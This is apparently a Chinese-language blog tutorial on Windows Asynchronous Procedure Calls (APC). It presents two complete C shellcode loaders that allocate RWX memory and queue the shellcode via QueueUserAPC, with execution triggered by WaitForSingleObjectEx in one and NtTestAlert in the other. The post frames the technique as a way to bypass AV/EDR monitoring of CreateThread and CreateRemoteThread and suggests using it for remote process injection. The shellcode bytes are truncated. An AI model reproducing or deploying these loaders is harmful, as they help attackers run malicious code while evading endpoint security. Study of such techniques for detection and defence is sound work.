前言
本篇博客主要介绍APC是什么、APC函数何时被执行,不会包含太多深层次的分析,主要是介绍APC如何被用来执行shellcode
APC介绍
APC,全称Asynchronous Procedure Calls,译为异步过程调用,在Windows下是一种机制(我猜测在其他操作系统下也是类似的机制),允许异步执行函数,所谓的异步执行,指的是当前线程执行过程中,有一个异步执行任务,当前线程无需等待这个异步执行任务,可以继续执行,相对应的,同步执行,指的是当前线程执行过程中,有一个同步执行任务,当前线程需要等待这个同步执行任务,无法继续执行,同步执行的结果当场就返回了,异步执行的结果是通过一个回调机制返回
Windows中关于APC的一个重要特点是,只有线程处于警报状态时,线程APC队列中的APC函数才会执行,通过调用SleepEx()、WaitForSingleObjectEx()、SignalObjectAndWaitEx()、SignalObjectAndWait()、WaitForMultipleObjectsEx()可以让线程处于警报状态
Windows中的APC包含多种类型,也分为用户模式和内核模式,本文中我们只关注用户模式下的QueueUserAPC
APC执行Shellcode
为什么APC可以用于shellcode执行或远程进程注入,可以使用QueueUserAPC执行shellcode,而无需使用CreateThread/CreateThreadEx创建线程,或使用QueueUserAPC注入到远程线程,而无需使用CreateRemoteThread/CreateRemoteThreadEx创建远程线程,尤其是CreateRemoteThread/CreateRemoteThreadEx会被AV/EDR严格监控,通过用户模式Hook或者注册内核回调(PsProcessNotifyRoutine/PsThreadNotifyRoutine)
当使用用户模式APC执行shellcode,不管是本地线程还是远程线程,总是会创建一个新的用户模式APC队列,你可以想象APC是排队取餐的顾客,遵循先进先出的原则,接下来我们通过WaitForSingleObjectEx()让线程处于警报状态,以此触发当前APC队列中APC函数的执行,下列C语言实现的代码片段,展示了用户模式APC注入,没有规避RWX内存特征、没有进行shellcode加密,只是一个demo展示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <windows.h> #include <stdio.h>
int main() { // 定义shellcode unsigned char shellcode[] = "\xfc\x48\x83...";
// 申请内存 PVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 拷贝shellcode到申请的内存 memcpy(addr, shellcode, sizeof(shellcode));
// 为当前线程创建一个新的用户模式APC队列,队列中有一个函数 // 第一个参数为要执行的函数,指向申请内存的指针被强制转换为函数指针类型 // 第二个参数是线程句柄,通过GetCurrentThread()获取当前线程的伪句柄 // 第三个参数是要执行函数的参数,当前执行的函数无需参数,所以为NULL QueueUserAPC((PAPCFUNC)addr, GetCurrentThread(), NULL);
// 这个函数使当前线程进入警报的wait状态 // INFINITE表示这个wait是无期限的,也就是不会超时,线程会等候直到APC函数被执行或者其它形式的唤醒被触发 // TRUE参数表示这个wait是警报状态的,那会触发APC队列中的函数执行 WaitForSingleObjectEx(GetCurrentThread(), INFINITE, TRUE);
return 0; }
|
NtTestAlert
正如代码注释中提到的,第一步是通过QueueUserAPC创建一个新的用户模式APC队列,然后通过WaitForSingleObjectEx让线程处于警报状态,进而触发APC函数的执行,上述方案中,可以替换的部分是WaitForSingleObjectEx,可以通过NtTestAlert强制APC队列中的函数执行,无需让线程处于警报状态
换句话说,NtTestAlert的主要作用就是检查APC队列中是否有函数未被执行,如果有的话将执行它们,如果在调用NtTestAlert之前APC队列为空,则该函数将简单地返回,不产生任何影响,它的这个特点对于执行线程APC队列中的函数很有用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| #include <windows.h> #include <stdio.h>
// NtTestAlert是Windows中的Native API,无法直接拿来用,需要先声明函数原型,动态获取后通过函数指针调用 typedef NTSTATUS(NTAPI* PFN_NTTESTALERT)();
int main() { // 定义shellcode unsigned char shellcode[] = "\xfc\x48\x83...";
// 获取ntdll的模块句柄 HMODULE hNtdll = GetModuleHandleA("ntdll");
// 获取NtTestAlert的指针,并强制转换为上面声明的函数原型的类型 PFN_NTTESTALERT NtTestAlert = (PFN_NTTESTALERT)GetProcAddress(hNtdll, "NtTestAlert");
// 申请内存 PVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 拷贝shellcode到申请的内存 memcpy(addr, shellcode, sizeof(shellcode));
// 为当前线程创建一个新的用户模式APC队列,队列中有一个函数 // 第一个参数为要执行的函数,指向申请内存的指针被强制转换为函数指针类型 // 第二个参数是线程句柄,通过GetCurrentThread()获取当前线程的伪句柄 // 第三个参数是要执行函数的参数,当前执行的函数无需参数,所以为NULL QueueUserAPC((PAPCFUNC)addr, GetCurrentThread(), NULL);
// 通过NtTestAlert执行APC队列中的函数 NtTestAlert();
return 0; }
|
总结
本文已经讲解了APC如何被用来执行shellcode,这使攻击者可以用来绕过监控CreateThread()/CreateThreadEx()或CreateRemoteThread/CreateRemoteThreadEx的AV/EDR,虽然本文只是演示APC在本地进程的用法,我相信APC在远程进程注入中会更有用